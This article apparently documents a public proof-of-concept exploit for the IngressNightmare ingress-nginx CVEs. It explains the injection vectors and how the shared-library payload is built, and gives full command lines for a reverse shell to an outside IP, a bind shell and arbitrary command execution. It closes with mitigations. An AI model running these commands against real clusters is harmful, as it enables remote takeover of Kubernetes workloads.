What Are the Ingress-NGINX Vulnerabilities Addressed by IngressNightmare? Four Critical CVEs Explained

IngressNightmare exploits four critical ingress-nginx vulnerabilities—CVE-2025-24514, CVE-2025-1097, CVE-2025-1098, and CVE-2025-1974—allowing unauthenticated remote code execution through the admission webhook via malicious shared library injection.

The esonhugh/ingressnightmare-cve-2025-1974-exps repository contains a proof-of-concept exploit that demonstrates remote code execution against the kubernetes/ingress-nginx controller. This tool targets four distinct ingress-nginx vulnerabilities discovered in the admission webhook component, enabling attackers to load malicious shared libraries and execute arbitrary commands within the cluster.

The Four Critical Ingress-NGINX Vulnerabilities

The ingressnightmare tool specifically targets four CVEs that compromise the ingress-nginx admission controller through different injection vectors.

CVE-2025-24514: Auth-URL Injection

According to the source code in main.go at line 70, this vulnerability allows the admission webhook to be tricked into loading an attacker-controlled shared library through a crafted auth-url annotation value. The exploit enables this method using the --is-auth-url (or -a) flag, which is set to true by default.

CVE-2025-1097: Auth-TLS-Match-CN Injection

As defined in main.go at line 71, this vulnerability abuses the auth-tls-match-cn annotation to coerce the webhook into using a malicious TLS value that points to an attacker-controlled file. Activation requires the --is-match-cn (or -A) flag.

CVE-2025-1098: Mirror UID Injection

Documented in main.go at line 73, this flaw targets the webhook's mirror feature to load a shared object owned by an arbitrary UID. The tool triggers this vector with the --is-mirror-with-uid (or -M) flag.

CVE-2025-1974: Remote Code Execution Chain

Referenced in main.go at line 154, this CVE represents the overarching remote code execution vulnerability that the three specific injection methods exploit. It utilizes a two-request chain where a long-buffered request creates a temporary file that the admission webhook later loads as an NGINX configuration, ultimately executing attacker-supplied code.

Technical Exploit Architecture

The ingressnightmare implementation follows a multi-stage attack pattern across three primary source files.

Payload Construction in payload.go

The nginx-ingress/payload.go file (lines 40-71) constructs a malicious shared object (danger.so) dynamically. It embeds attacker-specified IP addresses, ports, or commands by replacing placeholder bytes, then configures the execution mode by swapping the internal MODE_CHECK_FLAG with MODE_REVERSE_SH, MODE_BINDING_SH, or MODE_CMD_EXECVE.

Admission Webhook Abuse in exploit.go

The nginx-ingress/exploit.go file handles the core exploitation logic. Lines 59-83 craft a JSON admission request using the validate.json template, injecting paths like ../../../../..%2Fproc%2F1%2Ffd%2F3 via the foobar placeholder. The tool sends this request using the gout HTTP client and inspects responses for the string "Code Injected!" to confirm successful execution.

Lines 52-85 implement the BadUploader component, which streams the crafted payload directly to the NGINX service using an oversized Content-Length header. This causes the NGINX process to cache the data as a temporary file that the webhook subsequently loads.

Orchestration in main.go

The main.go file (lines 57-100) serves as the command-line interface, parsing flags that select the specific CVE to exploit, the payload execution mode (reverse shell, bind shell, or arbitrary command), and optional parameters such as PID/FD ranges. It coordinates the payload generation and webhook injection in the correct sequence.

Exploitation Examples

The following commands demonstrate practical usage against vulnerable ingress-nginx controllers.

Reverse Shell via CVE-2025-24514

Execute a reverse shell using the default auth-url injection method:

./ingressnightmare \
  -m r \
  -r 10.20.30.40 \
  -p 4444 \
  -i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
  -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80

Arbitrary Command via CVE-2025-1097

Run a system command using the auth-tls-match-cn injection vector:

./ingressnightmare \
  -m c \
  -c 'id' \
  -i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
  -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80 \
  --is-match-cn \
  --auth-secret-name kube-system/cilium-ca

Bind Shell via CVE-2025-1098

Open a bind shell using the mirror UID injection method:

./ingressnightmare \
  -m b \
  -b 5555 \
  -i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
  -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80 \
  --is-mirror-with-uid

Summary

• IngressNightmare targets four critical ingress-nginx vulnerabilities: CVE-2025-24514, CVE-2025-1097, CVE-2025-1098, and CVE-2025-1974, all affecting the admission webhook component.
• Three injection vectors enable code execution: Auth-URL, auth-tls-match-cn, and mirror UID annotations can force the webhook to load malicious shared libraries.
• The exploit chain combines upload and injection: The BadUploader streams malicious payloads to NGINX temporary files, while the admission webhook loads these files via path traversal sequences.
• Source code implements modular exploitation: main.go handles CLI flags and orchestration, payload.go generates malicious shared objects, and exploit.go manages the webhook interaction and response validation.

Frequently Asked Questions

What is the difference between CVE-2025-1974 and the other three CVEs?

CVE-2025-1974 represents the core remote code execution vulnerability that enables the overall attack chain, while CVE-2025-24514, CVE-2025-1097, and CVE-2025-1098 are specific injection vectors that trigger the CVE-2025-1974 condition through different annotation types (auth-url, auth-tls-match-cn, and mirror UID respectively).

How does the ingressnightmare tool validate successful exploitation?

The tool inspects the admission webhook response for the specific string "Code Injected!" as implemented in nginx-ingress/exploit.go lines 59-83, confirming that the malicious shared library was successfully loaded and executed by the NGINX controller.

Which ingress-nginx configurations are vulnerable to these attacks?

Any ingress-nginx deployment with the validating admission webhook enabled is potentially vulnerable, specifically when attackers can create or modify Ingress resources that utilize the auth-url, auth-tls-match-cn, or mirror annotations, allowing them to inject malicious file paths processed by the webhook.

What mitigations exist for these ingress-nginx vulnerabilities?

Upgrading to patched versions of the ingress-nginx controller is the primary mitigation. Additionally, restricting admission webhook access to authenticated and authorized entities only, and implementing network policies that prevent unauthorized access to the admission endpoint, can reduce the attack surface.

{
  "mcpServers": {
    "instagit": {
      "command": "npx",
      "args": ["-y", "instagit@latest"]
    }
  }
}